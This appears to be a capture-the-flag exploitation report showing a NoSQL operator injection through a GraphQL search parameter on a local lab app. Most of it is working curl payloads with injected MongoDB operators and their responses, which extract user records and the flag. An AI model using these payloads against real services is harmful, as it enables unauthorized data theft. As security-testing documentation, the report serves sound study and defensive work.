# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-01: NoSQL Operator Injection via GraphQL Search Parameter

**Summary:**
- **Vulnerable location:** GraphQL endpoint at `/graphql` and REST wrapper at `/api/users`, specifically the `search` parameter in the `users` query
- **Overview:** User-controlled JSON in the GraphQL `search` parameter is deserialized and directly unpacked into MongoDB query filters using the `**kwargs` pattern, allowing injection of MongoDB query operators ($ne, $exists, $regex, etc.) to bypass intended query logic and extract unauthorized data
- **Impact:** Complete database enumeration and CTF flag extraction achieved. Successfully extracted flag value `FLAG{455f2f7c32c00841805ed4eb05b357145e8ab8c2debef895726ddd31a2d714bf}` from admin2 user document through a single HTTP request
- **Severity:** CRITICAL

**Prerequisites:**
- HTTP client capable of sending POST requests (curl, Burp Suite, browser with fetch API)
- No authentication required - all endpoints are publicly accessible
- Target must be accessible at http://localhost:5003

**Exploitation Steps:**

1. **Verify target accessibility and confirm GraphQL endpoint responds:**
   ```bash
   curl -v http://localhost:5003/
   ```
   Expected: HTTP 200 response with "User List" HTML page

2. **Confirm NoSQL injection with boolean-based payload (filter for admin users):**
   ```bash
   curl -s -X POST http://localhost:5003/api/users \
     -H "Content-Type: application/json" \
     -d '{"query": "{ users(search: \"{\\\"is_admin\\\": true}\") { username email } }"}'
   ```
   Expected response:
   ```json
   {
     "users": [
       {"email": "admin@heytheregotrythis.com", "username": "admin"},
       {"email": "admin2@goodyoutriedsomethingelse.com", "username": "admin2"}
     ]
   }
   ```

3. **Validate injection with inverse condition (filter for non-admin users):**
   ```bash
   curl -s -X POST http://localhost:5003/api/users \
     -H "Content-Type: application/json" \
     -d '{"query": "{ users(search: \"{\\\"is_admin\\\": false}\") { username email } }"}'
   ```
   Expected response:
   ```json
   {
     "users": [
       {"email": "user1@heytheregotrythis.com", "username": "user1"},
       {"email": "user2@heytheregotrythis.com", "username": "user2"},
       {"email": "user3@heytheregotrythis.com", "username": "user3"}
     ]
   }
   ```

4. **Enumerate users containing a flag field using MongoDB $exists operator:**
   ```bash
   curl -s -X POST http://localhost:5003/api/users \
     -H "Content-Type: application/json" \
     -d '{"query": "{ users(search: \"{\\\"flag\\\": {\\\"$exists\\\": true}}\") { username email } }"}'
   ```
   Expected response:
   ```json
   {
     "users": [
       {"email": "admin2@goodyoutriedsomethingelse.com", "username": "admin2"}
     ]
   }
   ```

5. **Extract CTF flag using MongoDB $ne (not-equal) operator to find non-null flags:**
   ```bash
   curl -s -X POST http://localhost:5003/api/users \
     -H "Content-Type: application/json" \
     -d '{"query": "{ users(search: \"{\\\"flag\\\": {\\\"$ne\\\": null}}\") { username email flag } }"}'
   ```
   Expected response:
   ```json
   {
     "users": [
       {
         "email": "admin2@goodyoutriedsomethingelse.com",
         "flag": "FLAG{455f2f7c32c00841805ed4eb05b357145e8ab8c2debef895726ddd31a2d714bf}",
         "username": "admin2"
       }
     ]
   }
   ```

**Alternative Exploitation Methods:**

**Method 2: Direct admin enumeration with flag field selection:**
```bash
curl -s -X POST http://localhost:5003/api/users \
  -H "Content-Type: application/json" \
  -d '{"query": "{ users(search: \"{\\\"is_admin\\\": true}\") { username email flag } }"}'
```
Response includes both admin users, with flag in admin2:
```json
{
  "users": [
    {"email": "admin@heytheregotrythis.com", "flag": null, "username": "admin"},
    {
      "email": "admin2@goodyoutriedsomethingelse.com",
      "flag": "FLAG{455f2f7c32c00841805ed4eb05b357145e8ab8c2debef895726ddd31a2d714bf}",
      "username": "admin2"
    }
  ]
}
```

**Method 3: Direct username targeting:**
```bash
curl -s -X POST http://localhost:5003/api/users \
  -H "Content-Type: application/json" \
  -d '{"query": "{ users(search: \"{\\\"username\\\": \\\"admin2\\\"}\") { username email flag } }"}'
```
Response:
```json
{
  "users": [
    {
      "email": "admin2@goodyoutriedsomethingelse.com",
      "flag": "FLAG{455f2f7c32c00841805ed4eb05b357145e8ab8c2debef895726ddd31a2d714bf}",
      "username": "admin2"
    }
  ]
}
```

**Proof of Impact:**

**CTF Flag Successfully Extracted:**
```
FLAG{455f2f7c32c00841805ed4eb05b357145e8ab8c2debef895726ddd31a2d714bf}
```

**Database Enumeration Achieved:**
- Total users enumerated: 5 (admin, admin2, user1, user2, user3)
- Admin users identified: 2 (admin, admin2)
- Flag-containing user identified: admin2
- Complete user records including email addresses extracted for all users

**MongoDB Operators Successfully Injected:**
- `$ne` (not-equal) - Used for flag extraction
- `$exists` - Used for field enumeration
- Boolean filters (`is_admin: true/false`) - Used for privilege enumeration

**Notes:**

**Technical Details:**
- **Vulnerability Root Cause:** Application deserializes user-provided JSON with `json.loads(search)` at `/app/schema.py:13` and directly unpacks the resulting dictionary into MongoEngine filter using `query.filter(**search_criteria)` at line 14, with zero validation of dictionary keys or values
- **No Defense Mechanisms:** No whitelist of allowed field names, no blacklist of MongoDB `$` operator prefix, no input sanitization beyond JSON syntax validation
- **GraphiQL Interface:** The interactive GraphQL IDE at http://localhost:5003/graphql provides schema introspection that reveals the existence of the `flag` field, making reconnaissance trivial
- **Zero Authentication:** All endpoints are publicly accessible without any authentication, enabling anonymous exploitation from the public internet

**Attack Complexity:** TRIVIAL - Single HTTP POST request sufficient for complete flag extraction

**Data Exfiltrated:**
- 5 complete user records (username, email, admin status)
- 1 CTF flag value
- Database schema structure (field names: username, email, is_admin, flag)

**Reproducibility:** 100% - Exploitation succeeds on every attempt with the provided payloads